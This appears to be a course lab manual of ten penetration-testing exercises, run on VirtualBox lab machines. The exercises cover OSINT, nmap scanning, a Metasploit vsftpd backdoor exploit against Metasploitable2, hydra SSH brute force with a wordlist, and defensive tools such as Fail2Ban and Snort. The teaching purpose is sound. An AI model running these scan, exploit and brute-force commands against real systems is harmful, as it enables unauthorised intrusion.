Exercise 1: Install Kali Linux OS in VirtualBox & Basic Linux Commands
Procedure Steps:

1. Open VirtualBox and create a new VM.
2. Name the VM (e.g., Kali Linux), choose Linux Debian (64-bit).
3. Allocate RAM (recommended 2048 MB).
4. Create a virtual hard disk
5. Select Kali Linux ISO from the downloaded file for installation.
6. Save the settings.
7. Start the virtual machine
8. VM will boot into Kali Linux.

Exercise 2: Explore Kali Linux and Bash Scripting
Procedure Steps

- Start Kali Linux in VirtualBox.
- Open terminal and create a bash script file: nano file.sh
- Write basic commands or scripts inside.
- Save and execute the script.
- Observe output.

Commands

1. nano file.sh

2.code to type:

```
#!/bin/bash

echo "Hello! What's your name?"
read name

echo "Welcome, $name!"
echo "Today's date is $(date)"
```

3. save and exit

4. bash file.sh

Exercise 3: Perform Open Source Intelligence Gathering

Tools: Netcraft, Whois, DNS Reconnaissance, Harvester, Maltego

Procedure Steps:

1. **Explore Netcraft:**
   - Open a web browser.
   - Go to https://sitereport.netcraft.com.
   - Enter the target domain name to gather information such as hosting details, server location, and technology stack.
2. **Perform Whois Lookup:**
   - Access Whois information via https://whois.com or from terminal.
   - Review registration details, owner information, and domain expiry.
3. **DNS Enumeration:**
   - Go to whois.com to gather DNS records.
   - Retrieve A, MX, NS, TXT, and other relevant DNS records.
4. **TheHarvester Tool:**
   - Open terminal in Kali Linux.
   - Run theharvester command to gather emails, subdomains, hosts, and open ports from public sources:

     ```
     theharvester -d <domain_name> -b google
     ```
   - You may specify different data sources like google, bing, linkedin, etc.
5. **Maltego (Graphical OSINT Tool):**
   - Launch Maltego from Kali Linux menu.
   - Create a new graph.
   - Add entities such as domain, person, email.
   - Run transforms to gather relationships and detailed info.

Exercise 4: Understand and Use Nmap for Network Scanning

Procedure Steps

- Boot into kali linux.
- Install nmap
- sudo apt install nmap

Commands

- Check if host is up (Ping Scan)

  ```
  nmap -sn <target>
  ```

- Simple Scan

  ```
  nmap <target>
  ```

- Scan a specific port

  ```
  nmap -p <port> <target>
  ```
- Scan multiple ports

  ```
  nmap -p 80,443,22 <target>
  ```

- Scan a range of ports
  nmap -p 1-1000 <target>

- Scan all 65,535 ports
  nmap -p- <target>

- Service version detection
  nmap -sV <target>

- OS detection
  nmap -O <target>

- Aggressive scan (OS + services + scripts)
  nmap -A <target>

Exercise 5: Install Metasploitable2 and Search Unpatched Vulnerabilities
Procedure Steps

- Download Metasploitable2 VM from rapid7.
- Import VM into VirtualBox as Linux (64-bit).
- Start VM and login (msfadmin/msfadmin).
- Scan VM from Kali using: nmap -sV <metasploit vm_ip>
- Search exploits in Metasploit console: search <service>
- Use exploit modules and set target IP.
- Run exploit commands.

To notice: Make sure network mode are correct

Kali -> NAT
Metasploit -> Host only adapter (if unavailable just change system that has)

Exercise 6: Use Metasploit to Exploit Vulnerabilities
Procedure Steps

- Open terminal in linux
- Scan target for vulnerabilities.
- In another terminal tab
- open msfconsole
- Search and select exploit.
- Set exploit options.
- Run exploit with exploit.

Commands

- nmap -sV ip   **[NOTE: ip is Metasploit ip]**
- sudo msfconsole
- search vsftpd
- use exploit/unix/ftp/vsftpd_234_backdoor
- set RHOST ip
- exploit

To notice: Make sure network mode are correct

Kali -> NAT
Metasploit -> Host only adapter (if unavailable just change system that has)

Exercise 7: Install Linux Server on VirtualBox and SSH
Procedure Steps

- Download ubuntu server
- Select the ISO file
- Configure storage and network.
- Set username and password during install.
- Boot into ubuntu server

Command

- sudo apt install openssh-server
- sudo systemctl start ssh

To notice: Make sure network mode are correct

Kali -> NAT
ubuntu -> NAT

Exercise 8: Use Fail2Ban to Scan Logs and Ban Malicious IPs
Procedure Steps

- boot into ubuntu server
- Install Fail2Ban
- Enable fail2ban service
- Attempt SSH brute force from kali linux using hydra
- Disable Fail2Ban and verify brute force succeeds.

commands

(in ubuntu)

- sudo apt install fail2ban
- sudo systemctl enable fail2ban.service
- ip r   [note ip of ubuntu]

(in kali)

- hydra –l user –P /usr/share/wordlists/rockyou.txt ip ssh (replace ip with ubuntu ip)

To notice:

1) Make sure network mode are correct

Kali -> NAT

ubuntu -> NAT (first needed to install package)

Then poweroff and change to Host only adapter (if unavailable just change system that has) and start the vm

Then note the ip of ubuntu system

2) If wordlist not found in hydra use this to extract first, then use above command

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Exercise 9: Brute Force Attack using Hydra

Procedure Steps

- boot into ubuntu server
- Install and enable ssh server
- Create a password wordlist. (eg : pass.txt)
- Run Hydra: hydra -l <user> -P <wordlist> <IP_of_server> ssh
- Monitor brute force attempts and results.

Commands

(in ubuntu)

- sudo apt install openssh-server
- sudo systemctl start ssh
- ip r   [note ip of ubuntu]

(in kali)

- nano pass.txt
- enter some random passwords and save
- hydra –l ubuntu –P pass.txt ip ssh (replace ip with ubuntu ip)

To notice:

1) Make sure network mode are correct

Kali -> NAT

ubuntu -> NAT (first needed to install package)

Then poweroff and change to Host only adapter (if unavailable just change system that has) and start the vm

Then note the ip of ubuntu system

2) If wordlist not found in hydra use this to extract first, then use above command

```
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```

Exercise 10: Real-time Network Traffic Analysis using Snort

Procedure Steps

- Start the ubuntu server
- Install Snort
- Identify IP of ubuntu server
- Run Snort
- Ping from another machine to generate traffic.
- Generate traffic and observe alerts.

Commands

(in ubuntu)

- sudo apt install snort
- ip r (note ip of ubuntu)
- sudo snort -d -v -e -I enp0s3

(in kali)

- ping <ubuntu ip>

To notice:

1) Make sure network mode are correct

Kali -> NAT

ubuntu -> NAT (first needed to install package)

Then poweroff and change to Host only adapter (if unavailable just change system that has) and start the vm

Then note the ip of ubuntu system